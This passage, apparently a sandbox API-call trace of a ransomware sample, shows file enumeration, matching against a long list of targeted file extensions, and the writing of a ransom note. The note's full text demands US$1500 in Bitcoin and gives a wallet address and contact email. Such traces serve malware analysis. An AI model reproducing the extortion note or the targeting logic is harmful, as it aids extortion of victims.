(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.raw") returned 0 [0119.584] lstrlenA (lpString="*.raw") returned 5 [0119.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.nef") returned 0 [0119.584] lstrlenA (lpString="*.nef") returned 5 [0119.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.svg") returned 0 [0119.584] lstrlenA (lpString="*.svg") returned 5 [0119.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.psd") returned 0 [0119.584] lstrlenA (lpString="*.psd") returned 5 [0119.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.vmx") returned 0 [0119.584] lstrlenA (lpString="*.vmx") returned 5 [0119.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0119.584] lstrlenA (lpString="*.vmdk") returned 6 [0119.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.vdi") returned 0 [0119.585] lstrlenA (lpString="*.vdi") returned 5 [0119.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.lay6") returned 0 [0119.585] lstrlenA (lpString="*.lay6") returned 6 [0119.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0119.585] lstrlenA (lpString="*.mpeg") returned 6 [0119.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.djvu") returned 0 [0119.585] lstrlenA (lpString="*.djvu") returned 6 [0119.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.tiff") returned 0 [0119.585] lstrlenA (lpString="*.tiff") returned 6 [0119.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.backup") returned 0 [0119.587] lstrlenA (lpString="*.backup") returned 8 [0119.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.pdf") returned 0 [0119.587] lstrlenA (lpString="*.pdf") returned 5 [0119.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.cert") returned 0 [0119.588] lstrlenA (lpString="*.cert") returned 6 [0119.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.docm") returned 0 [0119.588] lstrlenA (lpString="*.docm") returned 6 [0119.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0119.588] lstrlenA (lpString="*.xlsm") returned 6 [0119.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.dwg") returned 0 [0119.588] lstrlenA (lpString="*.dwg") returned 5 [0119.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.nd") returned 0 [0119.588] lstrlenA (lpString="*.nd") returned 4 [0119.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.tlg") returned 0 [0119.588] lstrlenA (lpString="*.tlg") returned 5 [0119.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.lgb") returned 0 [0119.588] lstrlenA (lpString="*.lgb") returned 5 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mov") returned 0 [0119.589] lstrlenA (lpString="*.mov") returned 5 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.xdw") returned 0 [0119.589] lstrlenA (lpString="*.xdw") returned 5 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.ods") returned 0 [0119.589] lstrlenA (lpString="*.ods") returned 5 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.wav") returned 0 [0119.589] lstrlenA (lpString="*.wav") returned 5 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mp3") returned 0 [0119.589] lstrlenA (lpString="*.mp3") returned 5 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.aiff") returned 0 [0119.589] lstrlenA (lpString="*.aiff") returned 6 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.flac") returned 0 [0119.589] lstrlenA (lpString="*.flac") returned 6 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.m4a") returned 0 [0119.589] lstrlenA (lpString="*.m4a") returned 5 [0119.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.csv") returned 0 [0119.589] lstrlenA (lpString="*.csv") returned 5 [0119.589] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Compression.FileSystem.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.590] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.590] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="87abc63a1a15ada439f7412b410c9be7", cAlternateFileName="87ABC6~1")) returned 0 [0119.590] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.590] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IO.Log", cAlternateFileName="SYSTEM~1.LOG")) returned 1 [0119.590] lstrcmpA (lpString1=".", lpString2="System.IO.Log") returned -1 [0119.590] lstrcmpA (lpString1="..", lpString2="System.IO.Log") returned -1 [0119.590] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.590] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.IO.Log" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log" [0119.590] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log") returned 60 [0119.590] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.591] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.591] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.591] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.591] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.591] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="78add813cd7beaa6db93eb252847a787", cAlternateFileName="78ADD8~1")) returned 1 [0119.591] lstrcmpA (lpString1=".", lpString2="78add813cd7beaa6db93eb252847a787") returned -1 [0119.591] lstrcmpA (lpString1="..", lpString2="78add813cd7beaa6db93eb252847a787") returned -1 [0119.591] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\*.*") returned="*.*" [0119.591] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\", lpString2="78add813cd7beaa6db93eb252847a787" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787" [0119.592] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787") returned 93 [0119.592] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.597] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.597] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.597] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a40430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a40430, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IO.Log.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.597] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.597] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Log.ni.dll") returned -1 [0119.597] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Log.ni.dll") returned -1 [0119.597] lstrcmpiA (lpString1="", lpString2="System.IO.Log.ni.dll") returned -1 [0119.597] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\*.*") returned="*.*" [0119.597] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\" [0119.597] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\") returned="" [0119.597] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\HOW TO DECRYPT FILES.txt" [0119.598] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.log\\78add813cd7beaa6db93eb252847a787\\how to decrypt files.txt")) returned 0xffffffff [0119.598] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.log\\78add813cd7beaa6db93eb252847a787\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.602] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.602] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.607] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.607] CloseHandle (hObject=0x90) returned 1 [0119.607] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\", lpString2="System.IO.Log.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll" [0119.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.ems") returned 0 [0119.607] lstrlenA (lpString="*.ems") returned 5 [0119.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.db") returned 0 [0119.607] lstrlenA (lpString="*.db") returned 4 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.dbf") returned 0 [0119.608] lstrlenA (lpString="*.dbf") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.myox") returned 0 [0119.608] lstrlenA (lpString="*.myox") returned 6 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.myo") returned 0 [0119.608] lstrlenA (lpString="*.myo") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qbw") returned 0 [0119.608] lstrlenA (lpString="*.qbw") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qbb") returned 0 [0119.608] lstrlenA (lpString="*.qbb") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qbm") returned 0 [0119.608] lstrlenA (lpString="*.qbm") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qbo") returned 0 [0119.608] lstrlenA (lpString="*.qbo") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qbx") returned 0 [0119.608] lstrlenA (lpString="*.qbx") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qba") returned 0 [0119.608] lstrlenA (lpString="*.qba") returned 5 [0119.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qby") returned 0 [0119.609] lstrlenA (lpString="*.qby") returned 5 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qbj") returned 0 [0119.609] lstrlenA (lpString="*.qbj") returned 5 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.ofx") returned 0 [0119.609] lstrlenA (lpString="*.ofx") returned 5 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.qif") returned 0 [0119.609] lstrlenA (lpString="*.qif") returned 5 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.mye") returned 0 [0119.609] lstrlenA (lpString="*.mye") returned 5 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.mbox") returned 0 [0119.609] lstrlenA (lpString="*.mbox") returned 6 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.eml") returned 0 [0119.609] lstrlenA (lpString="*.eml") returned 5 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.pst") returned 0 [0119.609] lstrlenA (lpString="*.pst") returned 5 [0119.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.ost") returned 0 [0119.610] lstrlenA (lpString="*.ost") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.idx") returned 0 [0119.610] lstrlenA (lpString="*.idx") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.dbx") returned 0 [0119.610] lstrlenA (lpString="*.dbx") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.sql") returned 0 [0119.610] lstrlenA (lpString="*.sql") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.mdb") returned 0 [0119.610] lstrlenA (lpString="*.mdb") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.fdb") returned 0 [0119.610] lstrlenA (lpString="*.fdb") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.wab") returned 0 [0119.610] lstrlenA (lpString="*.wab") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.dat") returned 0 [0119.610] lstrlenA (lpString="*.dat") returned 5 [0119.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.txt") returned 0 [0119.610] lstrlenA (lpString="*.txt") returned 5 [0119.610] PathMatchSpecA 